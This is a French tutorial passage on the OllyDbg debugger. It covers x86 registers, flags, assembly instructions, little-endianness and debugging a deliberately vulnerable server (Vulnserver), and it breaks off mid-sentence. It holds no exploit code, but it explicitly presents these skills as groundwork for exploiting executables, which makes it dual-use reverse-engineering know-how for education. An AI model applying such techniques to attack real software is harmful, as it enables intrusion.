ollydbg - bienvenue [root me

96
Ollydbg Introduction ............................................................................................ 4 Les Outils nécessaires ............................................................................ 4 Le programme Test ............................................................................ 4 Les Scripts en Perl ............................................................................. 5 Le désassembleur OllyDbg ................................................................ 6 Du Hardware au Software en X86......................................................... 7 La mémoire ........................................................................................ 7 Le processeur ..................................................................................... 7 Les registres généraux ................................................................... 7 Les registres de segments .............................................................. 8 Les registres d'offset ...................................................................... 9 Le registre Eflag ............................................................................ 9 Démarrage du débogueur..................................................................... 10 Visite guidée .................................................................................... 12 Description des principaux icones :................................................. 12 Ouverture et connexion à l'application cible de débogage .............. 14 Cosmétique ! .................................................................................... 17

Upload: others

Post on 18-Feb-2022

16 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Ollydbg - Bienvenue [Root Me

Ollydbg

Introduction ............................................................................................ 4

Les Outils nécessaires ............................................................................ 4

Le programme Test ............................................................................ 4

Les Scripts en Perl ............................................................................. 5

Le désassembleur OllyDbg ................................................................ 6

Du Hardware au Software en X86 ......................................................... 7

La mémoire ........................................................................................ 7

Le processeur ..................................................................................... 7

Les registres généraux ................................................................... 7

Les registres de segments .............................................................. 8

Les registres d'offset ...................................................................... 9

Le registre Eflag ............................................................................ 9

Démarrage du débogueur ..................................................................... 10

Visite guidée .................................................................................... 12

Description des principaux icones : ................................................. 12

Ouverture et connexion à l'application cible de débogage .............. 14

Cosmétique ! .................................................................................... 17

Page 2: Ollydbg - Bienvenue [Root Me

La vue CPU d’OllyDbg ................................................................... 22

Tour sur le langage Assembleur X86 .................................................. 25

L'assembleur ASM .......................................................................... 26

Les transferts de données : .......................................................... 26

Les instructions arithmétiques : ................................................... 27

Les instructions de comparaison : ............................................... 28

Les instructions de rupture de séquences : .................................. 28

Les sauts conditionnels : .............................................................. 28

Syntaxe et autres trucs ennuyeux ................................................ 29

Registres et drapeaux ................................................................... 31

La pile .......................................................................................... 33

Instructions de l’Assembleur ........................................................... 35

JMP (Jump : Saut) ....................................................................... 36

CALL (Appel) ............................................................................. 38

POP .............................................................................................. 39

PUSH ........................................................................................... 39

RETN (Return – Renvois) ........................................................... 40

INT3 ............................................................................................. 40

NOP (No Operation) .................................................................... 41

Méthode/Guide d'exécution de code dans Ollydbg ............................. 42

Step in, Step over (Allez dans, Passer dessus) ................................ 43

D'où je viens ? Révéler l’historique ................................................ 46

Animation ........................................................................................ 46

Définition de points d'arrêt .............................................................. 47

Exécuter le code ............................................................................... 49

Débogage exceptionnel .................................................................... 52

Exécutez le traçage pour trouver la cause d'une exception ............. 54

La chaîne SEH ................................................................................. 60

Page 3: Ollydbg - Bienvenue [Root Me

Recherche de commandes ............................................................... 66

Travailler dans l’image mémoire ..................................................... 77

Différentes vues de l’image mémoire ......................................... 77

Suivi en Map Mémoire ................................................................ 80

Copie des données de l’image mémoire ...................................... 82

Modification du code, de la mémoire et des registres ..................... 84

Aide au calcul des différences d'adresse relative ............................ 93

Les Plugins (Utilitaires additionels) ................................................ 94

Page 4: Ollydbg - Bienvenue [Root Me

Introduction

Définition dans Wikipédia : OllyDbg est un débogueur 32-bits (une

version 64-bits existe) gratuit, créé par Oleh Yuschuk à la fin de

l'année 2000, pour le système d'exploitation Windows de Microsoft.

Ce logiciel ne peut analyser et déboguer que les programmes 32-bits

répondant à la norme PE (Portable Executable).

Nous utiliserons la version 1.10 d'OllyDbg ici, mais la majorité des

techniques discutées devraient également être applicables à d'autres

versions d'OllyDbg, y compris la version 2, qui, il faut le savoir

comporte quelques bugs.

Ce tutoriel va essayer de fournir une référence à ceux qui veulent

apprendre à utiliser le débogueur OllyDbg. Il est destiné à construire

une base de compétences pour faire de l’ingénierie inverse.

Aucune connaissance préalable sur les débogueurs n'est requise pour

suivre ce tutoriel, mais des notions à minima de l’Hexadécimale, des

Bytes et autres fondements de bases de l’informatique sont un plus.

Les Outils nécessaires

Ce didacticiel utilise le programme Vulnserver délibérément

vulnérable comme cible de débogage. Vous pouvez en obtenir une

copie à partir du lien suivant et extraire l'archive sur votre disque dur

afin de suivre les étapes de ce didacticiel. Lorsque vous exécutez ce

programme, assurez-vous que votre pare-feu autorise le trafic

nécessaire, mais assurez-vous de ne pas autoriser l'accès à partir de

réseaux non fiables comme Internet. Lisez les détails fournis sur la

page de téléchargement pour plus d'informations.

Le programme Test

Téléchargez Vulnserver à partir d'ici ou sur le site :

http://grey-corner.blogspot.com/2010/12/introducing-vulnserver.html

Page 5: Ollydbg - Bienvenue [Root Me

Les Scripts en Perl

De plus, vous devez également installer Perl sur votre système, car ce

guide utilisera un certain nombre de scripts Perl afin de déclencher

certaines actions dans le débogueur.

Padre-perl-ide est une distribution Perl gratuite que vous pouvez

utiliser à cette fin. Elle peut être téléchargé ici.

Une fois le Zip

déployé sur votre PC

lancez l’exécutable :

Lors du 1er lancement,

le pare-feu Windows

demandera une

autorisation d’accès :

Page 6: Ollydbg - Bienvenue [Root Me

Une fois l’installation terminé dans une fenêtre PowerShell ou cmd

faites le test avec la commande ‘perl -v’ :

PowerShell :

Commande DOS :

Toutes les commandes de ce didacticiel faisant référence aux scripts

Perl seront fournies sous l'hypothèse qu'elles sont exécutées à partir du

même système qui exécute OllyDbg. Vous pouvez exécuter les scripts

à partir d'un autre emplacement si vous le souhaitez, mais vous devrez

modifier certaines des options de ligne de commande en conséquence.

Le désassembleur OllyDbg

Vous aurez aussi évidemment besoin d'une copie du débogueur

OllyDbg, version 1.10.

Il peut être téléchargé ici.

Page 7: Ollydbg - Bienvenue [Root Me

Du Hardware au Software en X86

La mémoire

Ce sont des emplacements où sont stockées des données. On peut

accéder à ces emplacements, que ce soit en lecture pour récupérer des

données ou en écriture pour conserver des données, grâce à une

adresse dans un programme.

La pile (ou stack) est une partie particulière de la mémoire. Elle sert

principalement à stocker des données provisoires (résultat

intermédiaire d'un calcul, adresse de retour d'une sous-routine, etc.).

Comme son nom l'indique, on empile des valeurs les unes sur les

autres. Retenez cette notion d'empilage car c'est elle qui fait le

fonctionnement particulier de la pile.

En effet, pour enlever une valeur, il faut d'abord retirer une à une

toutes celles qui sont au-dessus, en commençant par la plus récente.

Ce traitement des données est appelé LIFO (Last In First Out).

Le processeur

C'est lui qui exécute les instructions données par le programme. Pour

ce faire, il possède des mémoires internes qui sont utilisées de manière

spécifique et appelées registres.

On répartit ceux-ci en 4 groupes :

• Les registres généraux (ou de travail).

• Les registres de segments.

• Les registres d'offset (ou pointeurs).

• Le registre Eflag (drapeaux ou indicateurs).

Les registres généraux

Ce sont des registres de 32 bits qui servent principalement à stocker

des résultats intermédiaires.

Page 8: Ollydbg - Bienvenue [Root Me

Ils sont au nombre de 4 :

• EAX : Registre Accumulateur.

• EBX : Registre de base.

• ECX : Registre Compteur.

• EDX : Registre Données.

Chaque registre peut être utilisé en registres de 16 bits :

• AX, BX, CX ou DX

Qui eux-mêmes peuvent être divisés en 2 registres de 8 bits :

• AH et AL, BH et BL, CH et CL, DH et DL.

On parle alors de la partie haute (H pour hight) ou de la partie basse

(L pour low) du registre, exemple avec EAX :

EAX (32 bits)

AX (16 bits)

AH (8 bits) AL (8 bits)

Les registres de segments

Pour savoir où retrouver des données, on a besoin d'une adresse.

Celle-ci sera composée de 2 parties : le segment et l'offset.

Les segments sont au nombre de 6 et permettent de savoir dans quelle

zone de la mémoire il faut aller chercher :

• CS (Code Segment) : Indique l'adresse de début de code.

• SS (Stack Segment) : Adresse de la pile.

• DS (Data Segment) : Adresse des données du programme.

• ES (Extra Segment) : Segment supplémentaire.

• FS (extra Segment) : Segment supplémentaire.

Page 9: Ollydbg - Bienvenue [Root Me

• GS (extra Segment) : Segment supplémentaire.

Les registres d'offset

C'est la deuxième partie de l'adresse, celle qui nous indique

précisément l'emplacement dans le segment concerné de ce que nous

cherchons. Il y en a 5 :

• ESI (Extended Source Index) : Utilisé lors de manipulation de

suite d'octets, associé à DS.

• EDI (Extended Destination Index) : Utilisé lors de manipulation

de suite d'octets, associé à DS ou ES.

• EBP (Extended Base Pointer) : Pointe sur une adresse dans la

pile, associé à SS.

• ESP (Extended Stack Pointer) : Contient le déplacement

nécessaire pour atteindre le sommet de la pile.

• EIP (Extended Instruction Pointer) : Indique la prochaine

instruction qui va être exécutée, associé à CS.

Le registre Eflag

C'est un registre dont chaque bit donne une indication au processeur,

chaque bit ne pouvant avoir qu'une valeur : 0 ou 1.

Ceux qui nous intéressent plus particulièrement sont :

• CF (Carry Flag) : Positionné à 1 si la dernière opération a généré

une retenue (mode non signé), sinon à 0.

• PF (Parity Flag): Positionné à 1 si dans les 8 bits de poids faible

du résultat de la dernière opération, le nombre de bits à 1 est

pair, à 0 si ce nombre est impair.

• AF (Auxiliary carry Flag) : Positionné à 1 si la dernière

opération a généré une retenue du bit numéro 3 vers le bit

numéro 4, à 0 sinon.

• ZF (Zero Flag) : Positionné à 1 si les deux opérandes utilisés

sont égaux, sinon positionné à 0. Son nom vient de la différence

nulle entre les deux opérandes.

• SF (Sign Flag) : Positionné à 1 si la dernière opération a généré

un résultat négatif, à 0 s'il est positif ou nul.

Page 10: Ollydbg - Bienvenue [Root Me

• DF (Direction Flag) : Positionné à 1 si le transfert de données se

fait en décrémentant les offsets, à 0 sinon (incrémentation des

offsets).

• OF (Overflow Flag) : Positionné à 1 si le dernier résultat a

débordé de la taille du registre, sinon à 0.

Tout cela peut paraître compliqué quand on débute, mais avec la

pratique ces notions deviendront rapidement évidentes.

Démarrage du débogueur

Pour démarrer OllyDbg sur Windows double-cliquez

simplement sur l'exécutable ou le raccourci OllyDbg, comme

vous le feriez pour n'importe quelle autre application. Assurez-

vous de l'exécuter en utilisant l'option « Exécuter en tant

qu’administrateur », disponible lorsque vous cliquez avec le

bouton droit sur l'exécutable ou le raccourci. Si vous

n'exécutez pas le programme avec des privilèges

d'administration, vous ne pourrez pas effectuer correctement

vos tâches de débogage.

Lors de la première ouverture d’OllyDbg cette fenêtre s’ouvre,

faire oui pour réinitialiser la librairie.

Page 11: Ollydbg - Bienvenue [Root Me

La Version installée : v1.10

Page 12: Ollydbg - Bienvenue [Root Me

Visite guidée

Nous allons tout d’abord faire le tour des différents éléments que

composent OllyDbg.

En haut on retrouve la barre des Menus ainsi qu’une barre d’outils

spécifiques :

On notera que par défaut aucuns plugins n’est présent. Les plugins

sont des programmes complémentaires souvent utile au debugge.

Description des principaux icones :

(F3) sert à ouvrir un fichier à désassembler.

(Ctrl+F2) sert à recharger le dernier programme ouvert (s'il est

en cours d'exécution, il se ferme puis se recharge).

(Alt+F2) sert à arrêter le programme en cours d'exécution.

(F9) sert à exécuter le programme (au cas où il est en pause sur

un BP - Break Point - par exemple).

(F11) N’exécute que le programme (API) en cours d’édition.

(F12) sert à mettre le programme en pause (chez moi le

programme plante lorsque je clique dessus).

(F7) sert à rentrer dans une fonction lors de l'exécution en pas à

pas (Step Into).

(F8) sert à exécuter les fonctions sans rentrer dedans en pas à pas

(Step Over).

Page 13: Ollydbg - Bienvenue [Root Me

(Ctrl+F11) Trace dans (Trace Into).

(Ctrl+F12) Trace sur (Trace Over).

(Ctrl+F9) Sert à exécuter le programme jusqu'à ce qu'il y ait

une instruction RET (pratique pour sortir d'une fonction).

(Alt+F9) Sert à exécuter le programme jusqu'à ce qu'il y ait un

code utilisateur (spécifique).

Sert à se positionner à une certaine adresse dans le programme.

Sert à afficher les chaînes de caractères trouvées lors de l'analyse

du programme. Il faut toutefois faire un clic droit : Search for→All

referenced text strings avant de pouvoir voir quoique ce soit.

En bas de l’éditeur la dernière ligne indique des informations

complémentaires comme, une erreur qui s'est produite, le nombre de

fonctions trouvées lors de l'analyse, ...

En fin, indique l'état du programme (Paused, Running, Terminated) :

Page 14: Ollydbg - Bienvenue [Root Me

Ouverture et connexion à l'application cible de débogage

Il existe plusieurs moyens d'ouvrir un programme dans l’éditeur :

• OllyDbg n’est pas ouvert, en déplaçant sur le bureau, en faisant

un glisser-déposer, le fichier à analyser sur l’icône d’OllyDbg.

• OllyDbg est ouvert, en ouvrant l'exécutable cible à partir du

disque à l'aide de l'option de menu File → Open (Fichier,

Ouvrir), en fin,

• En attachant à un programme déjà en cours d'exécution en

utilisant l'option de menu File → Attach (Attacher).

Quelle est la différence entre les deux dernières méthodes ?

En choisissant d'ouvrir le programme directement à partir du

disque, vous pouvez contrôler l'exécution du programme dès

le début, tandis que lorsque vous vous connectez à un

programme déjà en cours d'exécution, vous ne pouvez prendre

le contrôle qu'à partir du moment où vous effectuez l'opération

d’attachement.

En général, si j'ai le choix, j'ouvre généralement les

exécutables au lieu de les attacher à leurs processus en cours

d'exécution, car cela me permet de capturer toutes les

opérations du programme et de le redémarrer facilement

depuis l'interface du débogueur. Parfois, cependant, cela peut

ne pas être une option pratique, comme dans les cas où vous

essayez d'exploiter un exécutable, exécuté en tant que service

Windows, et dans ce cas, l'attachement peut fonctionner

suffisamment bien. Sachez simplement que si vous le faites,

vous ne pourrez peut-être pas redémarrer le programme à

Page 15: Ollydbg - Bienvenue [Root Me

partir du débogueur - vous devrez peut-être utiliser quelque

chose comme le panneau de configuration des services si

l'exécutable s'exécute en tant que service.

Vous pouvez également constater que dans certains cas, les

programmes n'aiment pas être « attachés » pendant leur

exécution, il est donc sage d'effectuer des tests pour vous

assurer que le programme fonctionne normalement après avoir

essayé. Pour ce faire, vous devez laisser le programme

s'exécuter et confirmer qu'il se comporte toujours comme il le

fait habituellement après avoir été « attaché » au débogueur.

Maintenant, ouvrez OllyDbg, si vous ne l'avez pas déjà fait, et

essayez d'utiliser l'option de menu File → Open pour ouvrir

vulnserver.exe à partir de l'endroit où il est stocké sur votre

disque dur.

Vous devriez voir quelque chose comme ce qui suit.

Lancement de OllyDbg :

Page 16: Ollydbg - Bienvenue [Root Me

Ouverture de vulnserver.exe avec File → Open :

Une fenêtre de commande s’ouvre, rien ne s’affiche dedans,

c’est normal, le programme est en Pause (voir en bas à droite

de l’éditeur).

Dans l’éditeur, le code apparait dans une première fenêtre,

pour l’ouvrir en grand on clique sur le bouton Agrandir.

Que voyons-nous ? En fait l’éditeur se compose de 4 grandes

zones :

1

3

2

4

Page 17: Ollydbg - Bienvenue [Root Me

1. La zone de désassembleur.

2. La zone des Registres, les flags, la pile pour le processeur

arithmétique.

3. La zone de Dump ou code binaire dans la mémoire.

4. La zone de la Pile (Stack).

Cosmétique !

Tout d’abord on va changer l’aspect de la fenêtre de désassembleur

afin d’afficher et de marquer le code de façon à ce qu’il soit plus

lisible. (Oui, je suis un peu miro).

Avec la souris se mettre sur la zone de désassemblage puis clic droit,

sur Appearance → Font → System fixed font :

Idem mais avec Appearance → Highlighting → Christmas tree :

(Joyeux Noël Felix !).

Ce qui donne maintenant un code un peu plus coloré :

Page 18: Ollydbg - Bienvenue [Root Me

En « A » on trouve les adresses des instructions (En mémoire pas dans

le programme).

En « B » le Dump des Opcodes.

En « C » le Code désassemblé (Mnémonique ASM), la flèche indique

le sens de lecture sauf en cas de saut et retour.

En « D » ce sont les APIs utilisées dans ce programme et les

commentaires éventuels.

Dans le cadran Registres on peut voir les registres et Flags :

A

B C

D

Page 19: Ollydbg - Bienvenue [Root Me

Le cadran du bas à gauche nous montre le code binaire :

Et le dernier cadran l’état de la Pile :

Utilisez maintenant l'option de menu Debug → Close pour fermer

cette session de débogage et cliquez sur Oui si le message

d'avertissement « Processus still active » apparaît.

Page 20: Ollydbg - Bienvenue [Root Me

Cela signifie essentiellement que vous êtes sur le point de mettre fin à

un processus actif - et dans ce cas, c'est exactement ce que nous

voulons faire !

Vous pouvez désactiver cet avertissement sous l'option de menu

Options → Debugging options.

En sélectionnant l'onglet Sécurité et en décochant l'option

Avertir lors de la fin du processus actif.

Je vous recommande fortement de le faire, car cet avertissement peut

devenir fastidieux très rapidement.

Maintenant, accédez à l'emplacement sur le disque où vulnserver.exe

est stocké à l'aide de l'Explorateur Windows et double-cliquez dessus

Page 21: Ollydbg - Bienvenue [Root Me

pour l'exécuter. La fenêtre de commande s’ouvre avec le message

d’attente.

Revenez maintenant à OllyDbg et sélectionnez l'option du Menu File

→ Attach :

Une liste des processus en cours d'exécution apparaîtra.

Sélectionnez vulnserver dans la liste (cela pourrait vous aider à le

trouver si vous triez d'abord la liste par nom) et appuyez sur le bouton

Attacher.

Vous devriez maintenant voir ce qui suit.

Page 22: Ollydbg - Bienvenue [Root Me

Utilisez à présent l'option de menu Debug → Close pour fermer la

session de débogage.

Si vous comparez les deux méthodes de création de la session de

débogage en vérifiant le coin inférieur gauche de l'écran dans le

débogueur, vous remarquerez que « l'ouverture » du programme

semble entrer dans le programme au « point d'entrée du programme » :

Et, en effectuant un « attachement » on entre en ayant le « programme

attaché suspendu à ntdll.DbgBreakpoint ».

Nous pouvons voir ici qu'il y a une différence dans la façon dont la

session commence.

Dans les deux cas, le programme a été automatiquement mise en

pause « Paused » après le démarrage de la session de débogage (voir

la notation dans le coin inférieur droit).

Nous reviendrons plus en détail sur ce que cela signifie réellement

plus tard dans ce tutoriel.

La vue CPU d’OllyDbg

Utilisez l'option de menu File → Open pour ouvrir vulnserver.exe.

Vous devriez maintenant être accueilli par la vue CPU OllyDbg, qui

est la vue OllyDbg par défaut et celle dans laquelle nous passerons la

majorité de notre temps.

Le volet dans le coin supérieur gauche de l'écran affiche les

instructions réelles du programme que nous sommes sur le point

d'exécuter. Je ferai référence à cela comme instruction CPU ou volet

Page 23: Ollydbg - Bienvenue [Root Me

de désassemblage (car il montre les instructions désassemblées de leur

format binaire).

De gauche à droite, les colonnes de ce volet affichent :

• L’adresse mémoire de chaque instruction.

• La représentation hexadécimale de chaque octet qui comprend

cette instruction (ou si vous préférez, l’opcode de cette

instruction).

• L’instruction elle-même en langage assembleur X86, affichée

(par défaut) dans la syntaxe MASM.

• Et enfin une colonne d'information / commentaire qui affiche les

valeurs de chaîne, les noms de fonction de niveau supérieur, les

commentaires définis par l'utilisateur, etc.

Je vais approfondir ce qu'est ce truc d'assemblage et comment

l'interpréter dans la section suivante, mais pour l'instant, réalisez

simplement que ce volet supérieur gauche est l'endroit où les

instructions d'assemblage sont affichées.

Le volet dans le coin supérieur droit de l'écran affiche la valeur de

divers registres et drapeaux dans le CPU. Je ferai référence à cela en

tant que volet d'enregistrement. Ces registres sont de petites zones de

stockage dans le CPU lui-même, et ils sont utilisés pour faciliter

diverses opérations qui sont effectuées dans le langage d'assemblage

X86. Je couvrirai le but de ces registres dans la section suivante de ce

tutoriel.

Le volet dans le coin inférieur gauche montre une section de la

mémoire du programme. Je ferai référence à cela comme le volet de

vidage de la mémoire. Dans ce volet, vous pouvez afficher la mémoire

dans une variété de formats différents, ainsi que copier et même

modifier le contenu de cette mémoire.

Page 24: Ollydbg - Bienvenue [Root Me

Le volet dans le coin inférieur droit montre la pile. Je ferai référence à

cela comme le volet de pile. La colonne de gauche de ce volet contient

les adresses mémoire des entrées de pile, la deuxième colonne

contient les valeurs de ces entrées de pile et la colonne de droite

contient des informations telles que le but des entrées particulières ou

des détails supplémentaires sur leur contenu.

Il existe également une troisième colonne facultative dans le volet de

pile qui affichera un vidage ASCII ou Unicode de la valeur de la pile -

cela peut être activé en cliquant avec le bouton droit sur le volet de

pile et en sélectionnant « Afficher le vidage ASCII » ou « Afficher le

vidage UNICODE ».

La section suivante contient plus de détails sur le but de la pile.

Page 25: Ollydbg - Bienvenue [Root Me

Tour sur le langage Assembleur X86

Si vous voulez modifier un logiciel, vous devez comprendre

l'assembleur, enfin un peu.

Maintenant, ce que j'appelle l'assembleur est en fait un terme

générique pour un langage de programmation de bas niveau qui ne

fonctionne qu'une étape au-dessus du code machine de base (avec des

‘1’ et ‘0’) qui est exécuté nativement par le CPU.

Parce que l'assembleur est si étroitement lié au code qu'un CPU

exécute directement, il est, en fait, spécifique à ce type de CPU (ou à

une famille).

Cela signifie que différentes familles de CPU ont des langages

assembleur différents. Vous ne pouvez pas, par exemple, exécuter le

code assembleur écrit pour l'architecture CPU Sun SPARC sur un

processeur X86, un processeur IA-64 bits ou un processeur MIPS.

Ces CPU ont tous des langages d'assembleur différents.

OllyDbg, et ce tutoriel, se concentreront spécifiquement sur

l'architecture X86 (Intel) utilisée sur la grande majorité des systèmes

32 bits « à usage courant » dans le monde informatique.

Cette section est uniquement destinée à fournir une très brève

description de ce langage - espérons-le juste assez, pour vous aider à

démarrer votre parcours d'initiation, mais certainement pas assez pour

couvrir tous les scénarios possibles auxquels vous pouvez être

confronté dans ce domaine. Vous devez vous attendre à devoir faire

vos propres recherches sur ce sujet pour être vraiment à l'aise.

Je ne couvrirai pas non plus comment écrire un code assembleur, juste

comment l'interpréter dans OllyDbg, et je vais simplifier les choses,

dans certains cas, par souci de concision.

Je suggérerais que tout ce qui est écrit dans cette section ne soit pas

considéré comme un évangile, mais plutôt comme un ensemble

général de lignes directrices pour vous aider à acquérir un niveau de

Page 26: Ollydbg - Bienvenue [Root Me

compréhension de base de l'assembleur afin que vous puissiez

commencer à en exploiter l'écriture.

L'assembleur ASM

L'assembleur (ou ASM) est le langage informatique le plus proche de

la machine. C'est en asm que les compilateurs convertissent les

programmes écrits en Visual basic, C/C++, Delphi, DotNet, etc.

On parle de langage de bas niveau pour l'ASM et de haut niveau pour

les autres.

Basée sur un codage en valeur hexadécimale (base 16), chaque

instruction de l'asm peut être représentée soit par sa valeur (on parle

alors de l'opcode) ou sous forme de mot clé, beaucoup plus

compréhensible pour nous.

Par exemple pour un saut : EBh = JMP (le h indique une valeur en

hexadécimal, un d indiquera une valeur en décimal).

Nous n'allons pas voir toutes les instructions (il y en a pas mal !), mais

les principales qui nous servirons dans les premiers cas que nous

allons étudier.

Vous découvrirez les autres au fur et à mesure de votre évolution.

Le détail de certaines fonctions est Ici.

Les transferts de données :

• MOV (Move)

Syntaxe : MOV Destination, Source

Déplace les données entre registres et mémoires. Le contenu de

la source est copié dans la destination sans être changé.

• PUSH (Push Word onto Stack)

Syntaxe : PUSH Source

Place sur le haut de la pile les données récupérées dans la source

de 16 ou 32 bits (mémoire ou registre).

• POP (Pop Word off Stack)

Syntaxe : POP Destination

Page 27: Ollydbg - Bienvenue [Root Me

Permet de restaurer des données stockées sur le dessus de la pile

(il s'agit d'un dépilage). La destination est une zone mémoire ou

un registre de 16 ou 32 bits.

Les instructions arithmétiques :

• ADD (Arithmetic aDDition)

Syntaxe : ADD Destination, Source

Effectue une addition sans retenue. Le contenu de la source est

ajouté à la destination, le résultat étant dans la destination.

• SUB (SUBstract)

Syntaxe : SUB Destination, Source

Retranche la source de la destination et stocke le résultat dans la

destination. Contrairement à SBB, cette instruction ne prend pas

en compte l'indicateur de retenue [CF]. Cette instruction permet

d'effectuer une soustraction ordinaire. La source et la destination

doivent être de même taille : 8, 16 ou 32 bits.

• MUL (unsigned MULtiply)

Syntaxe : MUL Source

Multiplie le contenu de EAX ou AX ou AL (selon la taille du

registre donné en paramètre) par la source, les deux nombres

étant considérés non signés. Le résultat est transféré dans la

destination qui est le registre EAX ou le couple de registres

EDX:EAX. Pour les nombres signés, ce sera l'instruction IMUL.

• DIV (DIVide)

Syntaxe : DIV Opérande

Cette instruction permet d'effectuer une division non-signée par

l'opérande. Selon la taille de l'opérande, on divise AX, ou

DX:AX, ou EDX:EAX. Le reste de la division est alors stocké

dans AH, ou dans DX, ou dans EDX. Pour les nombres signés,

ce sera l'instruction IDIV.

• INC (INCrement)

Syntaxe : INC Destination

Incrémente (augmente de 1) la destination, qui peut être un

registre ou une mémoire = variable) de 8, 16 ou 32 bits.

• DEC (DECrement)

Syntaxe : DEC Destination

Page 28: Ollydbg - Bienvenue [Root Me

Décrémente de 1 (retranche 1) la destination, qui peut être un

registre ou une mémoire (= variable) de 8, 16 ou 32 bits.

Les instructions de comparaison :

• CMP (CoMPare)

Syntaxe : CMP Destination, Source

La destination est comparée à la source, provoquant une mise à

jour des indicateurs. Cela consiste en une soustraction de la

source à la destination, sans retenir le résultat, ne faisant que

modifier les indicateurs (flags).

Les instructions de rupture de séquences :

• CALL (Procedure CALL)

Syntaxe : CALL Destination

Sert à appeler des sous-routines, destination étant l'adresse de

début de cette sous-routine.

• RET (RETurn From procedure)

Syntaxe : RET / RETF

Met fin au sous-programme et retourne à la ligne de code suivant

le CALL.

• JMP (JuMP)

Syntaxe : JMP Destination

Permet d'effectuer un saut vers la destination spécifiée.

Les sauts conditionnels :

• JA (Jump if Above) : saut si supérieur

• JAE (Jump if Above or Equal) : Saut si supérieur ou égal

• JB (Jump if Below) : saut si inférieur

• JBE (Jump if Below or Equal) : saut si inférieur ou égal

• JE (Jump if Equal) : saut si égal

• JG (Jump if Greater) : saut si supérieur

• JGE (Jump if Greater or Equal) : saut si supérieur ou égal

• JL (Jump if Less) : saut si inférieur

• JLE (Jump if Less or Equal) : saut si inférieur ou égal

• JZ (Jump if Zero) : saut si égal (zéro)

• JNA (Jump if not Above) : saut si pas supérieur

Page 29: Ollydbg - Bienvenue [Root Me

• JNAE (Jump if not Above not Equal) : saut si ni supérieur ni

égal

• JNB (Jump if not Below) : saut si pas inférieur

• JNE (Jump if not Equal) : saut si pas égal (zéro)

• JNG (Jump if not Greater) : saut si pas supérieur

• JNGE (Jump if not Greater not Equal) : saut si ni supérieur ni

égal

• JNL (Jump if not Less) : saut si pas inférieur

• JNLE (Jump if not Less not Equal) : saut si ni inférieur ni égal

• JNZ (Jump if not Zero) : saut si pas égal

Pour d'autres instructions ASM, je vous invite à consulter le fichier

d'aide Ollydbg.hlp ou à vous rendre sur des sites comme Gladir.com.

Syntaxe et autres trucs ennuyeux

Avant d'entrer dans le vif du sujet ici, je vais couvrir quelques détails

sur la syntaxe des instructions de montage que vous verrez dans

Ollydbg, et discuter également d'un point important sur le boutisme

des processeurs X86.

OllyDbg, par défaut, utilise la syntaxe MASM lorsqu'il désassemble

les instructions de code machine brutes d'un exécutable dans le code

d'assemblage plus digestible que vous pouvez voir dans la vue CPU.

La syntaxe MASM, lorsqu'il y a deux opérandes dans une instruction,

place l'opérande de destination en premier et l'opérande source en

second. Par exemple, la commande suivante copiera le contenu du

registre EAX dans le registre ECX

mov ECX, EAX

J'entrerai plus en détail sur certaines des instructions particulières

disponibles plus loin dans ce guide, mais pour l'instant, rappelez-vous

simplement que dans la syntaxe MASM, la destination d'une

instruction vient en premier et la source en second. Vous pouvez

choisir une syntaxe différente pour OllyDbg à utiliser dans le menu

Page 30: Ollydbg - Bienvenue [Root Me

Options → Options de débogage, sous l'onglet Disasm. J'utiliserai la

syntaxe MASM dans ce tutoriel.

Une autre chose à savoir ici est le boutisme du processeur X86 –et le

petit-boutisme. Cela signifie essentiellement que certaines valeurs sont

représentées dans le processeur, de gauche à droite, du moins pour

l’octets le plus significatif (MSB=Most Significant Bit).

Les octets sont affichés dans OllyDbg sous forme de nombres

hexadécimaux à deux chiffres avec des valeurs possibles de 0 à F

(0123456789ABCDEF) pour chaque chiffre, l'équivalent décimal des

chiffres A à F étant 10-16. La valeur d'octet unique la plus élevée

possible est FF (parfois précédée de «0x» et écrite comme 0xFF pour

indiquer que la numérotation hexadécimale est utilisée), ce qui

équivaut à 255 en décimal.

Si vous n'êtes pas du tout familier avec la numérotation hexadécimale,

je vous suggère de faire quelques lectures sur le sujet afin de bien

comprendre comment cela fonctionne, car c'est un sujet critique pour

modifier un exécutable.

Vous pouvez facilement convertir entre des formats hexadécimaux et

décimaux en utilisant une bonne calculatrice informatique, comme la

calculatrice Windows ou autre calculatrice avancée. Changez

simplement les modes d'affichage des calculatrices jusqu'à ce que les

touches alphabétiques apparaissent, puis utilisez les commandes appropriées, qui seront probablement étiquetées quelque chose comme

«Hex» et «Dec» pour basculer au besoin.

Pour illustrer le fonctionnement du petit-boutisme, si nous voulons

représenter un nombre hexadécimal tel que 12ABCDEF en petit-

boutisme, nous écririons en fait le nombre sous la forme EFCDAB12.

Ce que nous avons fait est de diviser le nombre en octets de

composants individuels :

12ABCDEF

Devient

Page 31: Ollydbg - Bienvenue [Root Me

12 AB CD EF

Et puis nous inversons l'ordre de ces octets et les remettons ensemble.

EF CD AB 12

Devient

EFCDAB12

Rappelez-vous qu’ici nous inversons uniquement l'ordre des octets,

pas les chiffres qui composent les octets. Par exemple, vous

n'inverseriez pas l'ordre des 1 et 2 dans le premier octet de 12.

Jetez un œil à cela plusieurs fois pour vous assurer de bien le

comprendre. Cette inversion des octets est quelque chose que vous

devez comprendre lorsque vous modifierez réellement des

exécutables, car avoir une bonne compréhension de cela vous

permettra d'être sûr que les valeurs que vous insérez dans le code via

vos modifications sont interprétées correctement par le CPU.

Registres et drapeaux

Il y a neuf registres 32 bits différents affichés dans OllyDbg (dans le

volet des registres - volet supérieur droit de la vue CPU).

Comme mentionné précédemment, ces registres sont des zones de

stockage à l'intérieur du CPU qui peuvent chacune contenir quatre

octets (32 bits) de données.

Bien que ces registres aient tous des objectifs nominaux (utilisés pour

des choses particulières par la plupart des programmes), la majorité de

ces registres peuvent être utilisés pour stocker toute ancienne valeur

qui convient.

Pour des raisons pratiques, dans la modification logicielle, vous ne

pouvez généralement considérer la plupart des registres que comme de

très petites zones de stockage.

Page 32: Ollydbg - Bienvenue [Root Me

Il existe cependant deux exceptions importantes à cela, qui sont les

registres EIP et ESP, qui ont des objectifs très spécifiques dont vous

devez être conscient.

Le registre EIP est connu sous le nom de pointeur d'instruction et son

but est de « pointer » vers l'adresse de mémoire qui contient

l'instruction suivante que le CPU doit exécuter.

En supposant que OllyDbg soit ouvert avec vulnserver.exe en cours

de débogage, la recherche dans le registre EIP doit afficher une valeur

qui correspond à l'adresse mémoire de l'entrée sélectionnée dans le

volet supérieur gauche de la vue CPU OllyDbg.

Lorsque le programme débogué est autorisé à continuer, il s'agit de la

première instruction que le processeur exécutera. Toutes les

techniques d’exploitation axées sur l’assembleur se concentrent sur

